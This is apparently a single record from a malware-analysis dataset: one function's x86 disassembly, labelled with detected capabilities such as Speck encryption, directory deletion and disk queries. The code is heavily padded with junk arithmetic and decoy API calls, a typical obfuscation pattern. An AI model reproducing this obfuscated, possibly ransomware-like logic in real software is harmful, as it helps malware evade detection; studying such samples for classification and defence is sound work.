Function at 0x10016e74
Capabilities:
Check os version
Delete directory
Encrypt data using speck
Get disk information

Disassembly:
mov eax, 0x10062f11
call fcn.10062610
sub esp, 0x784
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x64], ecx
lea ecx, [ebp - 0x2b8]
push 2
mov byte [ebp - 0x78], dl
call fcn.10011fea
xor ebx, ebx
lea ecx, [ebp - 0x24c]
xor edi, edi
mov dword [ebp - 4], ebx
inc edi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x2c], 0xe4562513
push edi
call fcn.10011fea
mov dword [ebp - 0x38], 0xfffffffd
mov dword [ebp - 0x2c], 0x213072c0
mov dword [ebp - 0x1c], ebx
jmp 0x10016ee1
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2b8]
mov dword [eax + ecx*4], 0x38ab
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10016ece
mov dword [ebp - 0x1c], ebx
jmp 0x10016eff
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24c]
mov dword [eax + ecx*4], 0xc07c2076
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10016eec
mov esi, dword [ebp - 0x2b8]
mov ecx, 0xa9dade66
mov eax, dword [esi + 4]
mov dword [ebp - 0x34], eax
imul eax, dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x34]
dec eax
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
setg cl
xor eax, eax
cmp ecx, edx
mov ecx, 0xcae2fe81
setge al
cmp ecx, eax
mov ecx, dword [ebp - 0x2b8]
sbb eax, eax
xor edx, edx
neg eax
cmp dword [esi + 4], eax
sete dl
xor eax, eax
cmp edx, dword [ecx]
mov ecx, dword [ecx]
setne al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x24c]
add ecx, dword [eax]
je 0x10016f72
mov eax, edi
cmp dword [ebp - 0x38], ebx
jne 0x10016f74
mov eax, ebx
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x24c]
call fcn.10012046
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2b8]
call fcn.10012046
mov dword [ebp - 0x14], 0xec2e0cf5
mov byte [ebp - 0x49], bl
cmp byte [ebp - 0x49], bl
je 0x10016fad
push 0x5c2
push ebx
push ebx
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
mov dword [ebp - 0x40], 5
xor ecx, ecx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x28]
test eax, eax
push 3
sets cl
pop esi
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x28], esi
jmp 0x10017074
mov dword [ebp - 0x14], 0xa82b
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x2c], 0xfffffff6
mov dword [ebp - 0x48], 0x7e05af84
mov dword [ebp - 0x38], 0x5407
cmp dword [ebp - 0x28], ebx
jne 0x10017037
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
dec ecx
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
setle bl
sub ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
test ebx, ebx
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor ebx, ebx
cmp ecx, dword [ebp - 0x14]
jl 0x10017037
mov eax, ebx
cmp dword [ebp - 0x34], ebx
je 0x10017039
mov eax, edi
neg eax
jne 0x10017044
mov ecx, ebx
cmp dword [ebp - 0x28], ebx
je 0x10017046
mov ecx, edi
xor eax, eax
cmp ecx, 0xacdd
setge al
xor edx, edx
imul eax, eax, 0x7eef
cmp eax, 4
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x34], ebx
jne 0x1001707e
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x17
jg 0x10016fd2
mov dword [ebp - 0x14], ebx
jmp 0x1001709a
mov byte [ebp - 0x49], bl
cmp byte [ebp - 0x49], 0
je 0x10017097
push 0x17a1
call dword [sym.imp.USER32.dll_GetKeyboardType]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffec
jg 0x10017083
mov dword [ebp - 0x14], 0xec2e0cf5
mov byte [ebp - 0x49], bl
cmp byte [ebp - 0x49], 0
je 0x100170bd
push 0x5c2
push ebx
push ebx
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
mov dword [ebp - 0x14], ebx
jmp 0x100170d9
mov byte [ebp - 0x49], bl
cmp byte [ebp - 0x49], 0
je 0x100170d6
push 0x17a1
call dword [sym.imp.USER32.dll_GetKeyboardType]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffec
jg 0x100170c2
mov dword [ebp - 0x40], 5
xor ecx, ecx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x28]
test eax, eax
sets cl
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], 0x6ba0
cmp dword [ebp - 0x38], 0x6ccc
jle 0x10017156
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x654]
or eax, edi
cdq
push edx
push eax
call fcn.1000d7ce
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10017129
mov eax, dword [eax]
push eax
call fcn.1004d346
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x654]
call fcn.100125d2
inc esi
cmp esi, 0x1228
jl 0x1001710d
inc edi
cmp edi, 0x25aa
jl 0x1001710b
xor edi, edi
push 3
inc edi
pop esi
mov dword [ebp - 0x28], esi
jmp 0x10017200
mov dword [ebp - 0x14], 0xa82b
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x2c], 0xfffffff6
mov dword [ebp - 0x48], 0x7e05af84
mov dword [ebp - 0x20], 0x5407
cmp dword [ebp - 0x28], ebx
jne 0x100171c3
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
dec ecx
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
setle bl
sub ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
test ebx, ebx
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor ebx, ebx
cmp ecx, dword [ebp - 0x14]
jl 0x100171c3
mov eax, ebx
cmp dword [ebp - 0x34], ebx
je 0x100171c5
mov eax, edi
neg eax
jne 0x100171d0
mov ecx, ebx
cmp dword [ebp - 0x28], ebx
je 0x100171d2
mov ecx, edi
xor eax, eax
cmp ecx, 0xacdd
setge al
xor edx, edx
imul eax, eax, 0x7eef
cmp eax, 4
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x34], ebx
jne 0x1001720a
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x17
jg 0x1001715e
cmp dword [ebp - 0x38], 0x67f3
jge 0x1001721e
push 0x10007ef0
call fcn.1004d346
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x28], 0x7f6b
cmp dword [ebp - 0x28], 0x7fab
jle 0x100172ac
mov eax, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov dword [ebp - 0x14], ebx
cdq
idiv edi
mov dword [ebp - 0x38], 0x57d1
mov edi, edx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x6a8]
cdq
push edx
push eax
call fcn.1000d7ce
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10017268
mov eax, dword [eax]
push eax
call fcn.1004d346
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x6a8]
call fcn.100125d2
inc esi
cmp esi, 0x605a
jl 0x1001724a
inc edi
dec dword [ebp - 0x38]
jne 0x10017248
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
inc edi
mov dword [ebp - 0x14], edi
cmp edi, 0x58cf
jl 0x1001723c
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x4653
jl 0x10017237
push 3
pop esi
xor edi, edi
mov dword [ebp - 0x14], ebx
inc edi
jmp 0x100172c5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8c], 0x5b9b55bb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100172b4
cmp dword [ebp - 0x28], 0x7ce3
jge 0x100172de
push 0x10007f28
call fcn.1004d346
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x8c], ebx
jmp 0x1001731b
mov dword [ebp - 0x2c], 0xf7a73d2
mov dword [ebp - 0x38], 0x8358bd4d
mov dword [ebp - 0x48], edi
cmp dword [ebp - 0x8c], ebx
je 0x10017310
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov eax, edi
cmp dword [ebp - 0x38], ebx
jne 0x10017312
mov eax, ebx
mov dword [ebp - 0x48], eax
inc dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 0xb
jne 0x100172ea
lea ecx, [ebp - 0x51c]
mov dword [ebp - 0x20], 0xec2e0cf5
push ecx
lea eax, [ebp - 0x50c]
xorps xmm0, xmm0
push eax
push ecx
lea ecx, [ebp - 0x394]
movdqu xmmword [ebp - 0x51c], xmm0
call fcn.10023200
mov dword [ebp - 4], 5
mov dword [ebp - 0x28], 0x871c7bf0
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], ebx
jl 0x100173e2
push edi
lea ecx, [ebp - 0x218]
call fcn.10011fea
mov dword [ebp - 0x14], ebx
jmp 0x1001738a
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x218]
mov dword [eax + ecx*4], 0x250e6da5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10017377
mov eax, dword [ebp - 0x218]
mov dword [eax], esi
mov esi, dword [eax]
mov edx, dword [ebp - 0x394]
mov dword [ebp - 0x2c], 0xadf86095
mov ecx, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp dword [edx + esi*4], ecx
sete al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x218]
dec dword [eax]
jns 0x10017397
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x394]
cmp dword [eax + ecx*4], ebx
lea ecx, [ebp - 0x218]
call fcn.10012046
dec dword [ebp - 0x28]
push 3
pop esi
jns 0x10017366
mov dword [ebp - 0x38], 0x28a8
cmp dword [ebp - 0x38], 0x2a6f
jle 0x1001741e
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x1060c478
cdq
push edx
push eax
call fcn.10011c95
inc edi
cmp edi, 0x7634
jl 0x100173f6
inc esi
cmp esi, 0xae2
jl 0x100173f4
xor edi, edi
inc edi
mov byte [ebp - 0x49], bl
mov byte [ebp - 4], 6
cmp dword [ebp - 0x38], 0x2721
jge 0x1001745e
mov edx, 0x10007f74
mov ecx, 0x1060c478
call fcn.100147fa
jmp 0x1001745e
cmp byte [ebp - 0x49], 0
je 0x1001746c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x394]
call fcn.10012046
mov byte [ebp - 0x15], bl
mov dword [ebp - 0x1c], 0xffffffff
mov byte [ebp - 0x49], bl
cmp byte [ebp - 0x49], 0
je 0x100174b3
push 0xc03
push 0x18df
push 0x191e
push 0x1c3b
push 0x36
push ebx
push ebx
push ebx
push ebx
push 0x1e0f
call dword [sym.imp.USER32.dll_DrawStateW]
mov dword [ebp - 0x34], 0x64e7
cmp dword [ebp - 0x34], 0x6812
jle 0x1001750d
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x768]
xor eax, edi
cdq
push edx
push eax
call fcn.1000d7ce
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100174e3
mov eax, dword [eax]
push eax
call fcn.1004d346
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x768]
call fcn.100125d2
inc esi
cmp esi, 0x7dd9
jl 0x100174c7
inc edi
cmp edi, 0x28ee
jl 0x100174c5
xor edi, edi
inc edi
mov dword [ebp - 0x1c], 0xffffffea
cmp dword [ebp - 0x1c], 0xffffffee
jg 0x100175c5
mov esi, 0xd5de1fc6
mov dword [ebp - 0x38], 0x515466bc
mov dword [ebp - 0x2c], 0x177c422d
mov dword [ebp - 0x14], ebx
jmp 0x10017543
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x20c], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10017536
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jne 0x100175b3
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
sub eax, 0xb6f9
je 0x10017564
mov eax, edi
cmp dword [ebp - 0x1c], ebx
jne 0x10017566
mov eax, ebx
cmp esi, eax
sbb eax, eax
neg eax
cmp eax, 0xfffffffc
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x18bd
setge cl
xor eax, eax
cmp ecx, 0xffff
setne al
xor edx, edx
cmp eax, 0x5d76270
sete dl
sub edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, ebx
setle cl
add ecx, dword [ebp - 0x20c]
cmp ecx, 0x995f7626
jbe 0x100175b5
mov eax, edi
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffee
jle 0x10017523
cmp dword [ebp - 0x34], 0x6235
jge 0x100175d9
push 0x10007fb8
call fcn.1004d346
pop ecx
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x15], 0
je 0x100179cd
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x28], 0x6548
cmp dword [ebp - 0x28], 0x6640
jle 0x10017662
mov ecx, ebx
mov dword [ebp - 0x34], ebx
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov edx, ecx
mov esi, ebx
mov ecx, eax
sar edx, cl
mov dword [ebp - 0x38], edx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x1060c478
or eax, edx
cdq
push edx
push eax
call fcn.10011c95
mov edx, dword [ebp - 0x38]
inc edi
cmp edi, 0x71ea
jl 0x10017611
inc esi
cmp esi, 0x595b
jl 0x1001760f
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x7887
jl 0x10017604
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x20b4
jl 0x100175ff
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
xor edi, edi
inc edi
push 2
lea ecx, [ebp - 0x270]
call fcn.10011fea
push 0xa
pop esi
mov dword [ebp - 4], esi
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x28], 0x634d
jge 0x10017691
mov edx, 0x10008000
mov ecx, 0x1060c478
call fcn.100147fa
mov dword [ebp - 4], esi
push 3
pop esi
push 6
mov dword [ebp - 0x54], 0xfffffff6
pop edx
mov dword [ebp - 0x1c], ebx
jmp 0x100176e1
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x270]
mov dword [eax + ecx*4], 0x2a276893
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100176ce
mov dword [ebp - 0x1c], ebx
jmp 0x100176fd
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2f8], 0x4be3d0e7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100176ec
mov dword [ebp - 0x28], 0xffffffef
cmp dword [ebp - 0x28], 0xffffffe5
jl 0x100179af
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x48], 5
mov dword [ebp - 0x50], 0xa2282d56
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x10017749
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x600], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001773c
mov dword [ebp - 0x1c], ebx
jmp 0x10017764
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3ec], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10017753
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], edi
jg 0x1001799e
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x50], 0xa23fe5e8
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x40], 0xe4b0ad8e
mov dword [ebp - 0x58], 0xfffffffe
mov dword [ebp - 0x34], 0x3c11
cmp dword [ebp - 0x34], 0x3e6b
jle 0x10017800
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x38], 0x73ae
mov eax, edi
lea ecx, [ebp - 0x6d8]
cdq
push edx
push eax
call fcn.1000d7ce
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100177c9
mov eax, dword [eax]
push eax
call fcn.1004d346
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x6d8]
call fcn.100125d2
add edi, esi
dec dword [ebp - 0x38]
jne 0x100177af
inc esi
cmp esi, 0x2f7b
jl 0x100177a6
push ebx
push ebx
push 0x22f3
push 0x1a5c
call dword [sym.imp.USER32.dll_PostMessageW]
dec dword [ebp - 0x44]
cmp dword [ebp - 0x34], 0x3a5d
jge 0x10017817
push 0x10008084
call fcn.1004d346
pop ecx
push 0xa
pop esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x30], 0xa36
cmp dword [ebp - 0x30], 0xa9d
jle 0x100178b3
mov eax, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x2c], edi
mov esi, ebx
and edi, eax
mov eax, ebx
mov dword [ebp - 0x1c], 0x116b
mov dword [ebp - 0x38], eax
xor eax, edi
lea ecx, [ebp - 0x738]
cdq
push edx
push eax
call fcn.1000d7ce
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10017868
mov eax, dword [eax]
push eax
call fcn.1004d346
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x738]
call fcn.100125d2
mov eax, dword [ebp - 0x38]
add eax, esi
dec dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
jne 0x1001784e
inc esi
cmp esi, 0x5dcc
jl 0x10017842
mov edi, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
inc edi
mov dword [ebp - 0x3c], edi
cmp edi, 0xc69
jl 0x1001783b
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x643f
jl 0x10017836
push 0xa
pop esi
dec dword [ebp - 0x3e4]
mov eax, dword [ebp - 0x3e4]
jne 0x10017928
mov eax, dword [ebp - 0x2f8]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x270]
mov ecx, dword [ecx + edx*4]
xor edx, edx
sub ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2f8]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3e4]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0x52b8
setl al
sub eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 0x50], eax
jl 0x10017928
xor edi, edi
mov ecx, ebx
inc edi
jmp 0x1001792d
xor edi, edi
inc edi
mov ecx, edi
mov eax, 0xdbac
sub eax, ecx
add eax, dword [ebp - 0x2f0]
jne 0x10017943
mov edx, ebx
cmp dword [ebp - 0x54], ebx
je 0x10017945
mov edx, edi
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x270]
setge dl
cmp edx, 0xfffffffb
mov dword [eax], edx
mov eax, dword [ebp - 0x54]
sbb edx, edx
neg edx
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, 0xffff
sbb eax, eax
neg eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x30], 0x714
jge 0x10017993
push 0x100080a8
call fcn.1004d346
pop ecx
mov dword [ebp - 4], esi
inc dword [ebp - 0x14]
jmp 0x1001776d
mov eax, dword [ebp - 0x54]
dec dword [ebp - 0x28]
push 3
pop esi
push 6
pop edx
jmp 0x10017709
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x270]
call fcn.10012046
push 0x5c2
push ebx
push ebx
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
jmp 0x100179d0
push 3
pop esi
mov dword [ebp - 0x1c], ebx
jmp 0x100179e6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd4], 0xaf1124f0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x100179d5
mov dword [ebp - 0x1c], ebx
jmp 0x10017a01
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x188], 0xf2c29a3d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100179f0
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10017a16
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov dword [ebp - 0x184], ebx
jmp 0x10017a70
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x20], ebx
jmp 0x10017a65
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jl 0x10017a62
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x28], ebx
jmp 0x10017a4e
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xd4], 0xe1dfe009
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x10017a3d
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0xd4]
dec dword [ebp - 0x14]
jns 0x10017a35
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x10017a26
inc dword [ebp - 0x184]
cmp dword [ebp - 0x184], ebx
jle 0x10017a1e
mov dword [ebp - 0x20], ebx
jmp 0x10017dca
push edi
lea ecx, [ebp - 0x2a0]
call fcn.10011fea
mov dword [ebp - 4], 0x11
lea ecx, [ebp - 0x3a0]
mov dword [ebp - 0x38], 0xe6d39c7c
push 4
call fcn.10011fea
mov dword [ebp - 0x14], 0x68cb
mov dword [ebp - 0x34], 0xcd9796a
mov dword [ebp - 0x28], 0x3f4b1415
mov dword [ebp - 0x30], ebx
jmp 0x10017ad2
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xac], 0x8206
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x10017ac1
mov dword [ebp - 0x30], ebx
jmp 0x10017aef
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2a0]
mov dword [eax + ecx*4], 0x642c70bb
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x10017adc
mov dword [ebp - 0x30], ebx
jmp 0x10017b0c
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3a0]
mov dword [eax + ecx*4], 0xffff
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
jl 0x10017af9
mov ecx, dword [ebp - 0x2a0]
mov dword [ecx], ebx
mov eax, dword [ecx]
inc dword [ecx]
mov dword [ebp + eax*4 - 0xac], 0x7bc7
cmp dword [ecx], edi
jl 0x10017b1a
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x9193
jge 0x10017b43
mov edx, ebx
cmp dword [ebp - 0xac], ebx
je 0x10017b45
mov edx, edi
mov eax, dword [ebp - 0x3a0]
xor ecx, ecx
cmp edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x2a0]
sete cl
cmp ecx, 0xe3cf9575
sbb ecx, ecx
neg ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x3a0]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
call fcn.10012046
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2a0]
call fcn.10012046
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10017dc7
movdqa xmm0, xmmword [0x1000c340]
lea ecx, [ebp - 0x55c]
push ecx
lea eax, [ebp - 0x54c]
mov dword [ebp - 0x24], 0x80d4
push eax
push ecx
lea ecx, [ebp - 0x310]
movdqu xmmword [ebp - 0x55c], xmm0
call fcn.10023200
mov dword [ebp - 4], 0x12
lea ecx, [ebp - 0x474]
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x44], 0xf61949f
push 2
call fcn.10011fea
mov dword [ebp - 0x54], 2
mov dword [ebp - 0x50], 0x5bc6833e
mov dword [ebp - 0x1c], ebx
jmp 0x10017c1d
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x474]
mov dword [eax + ecx*4], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10017c0a
mov dword [ebp - 0x1c], ebx
jmp 0x10017c39
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5e8], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10017c28
cmp dword [ebp - 0x24], ebx
je 0x10017c45
mov ebx, edi
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
dec eax
mov esi, dword [ebp - 0x310]
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
mov dword [esi + 8], ebx
add eax, 2
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setl cl
xor edx, edx
imul ecx, ecx, 0x2bb1
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setne dl
xor ebx, ebx
cmp edx, eax
setg bl
xor ecx, ecx
sub ebx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ebx, eax
setne cl
xor ebx, ebx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], 4
cmp dword [ebp - 0x28], 0xfffffffd
je 0x10017d9f
mov edi, dword [ebp - 0x310]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x34], 0xcc86f803
push 3
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x1c], ebx
pop ecx
jmp 0x10017ce7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4c4], 0x74f9af39
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10017cd6
mov dword [ebp - 0x1c], ebx
jmp 0x10017cfe
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x59c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10017cf1
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov edx, dword [esi + 8]
sub edx, dword [edi + 0xc]
cmp edx, eax
sete cl
xor edx, edx
dec ecx
mov dword [ebp - 0x5e8], ecx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x44]
inc dword [ebp - 0x54]
mov eax, dword [ebp - 0x594]
mov eax, dword [esi + 8]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x4c4]
imul eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0x34]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setle cl
sub eax, ecx
sub eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x44]
jne 0x10017d79
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x594]
cmp eax, ecx
setl dl
mov dword [edi + 0xc], edx
mov dword [ebp - 0x50], edx
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffffd
jne 0x10017cb6
xor edi, edi
inc edi
lea ecx, [ebp - 0x474]
call fcn.10012046
or dword [ebp - 4], 0xffffffff
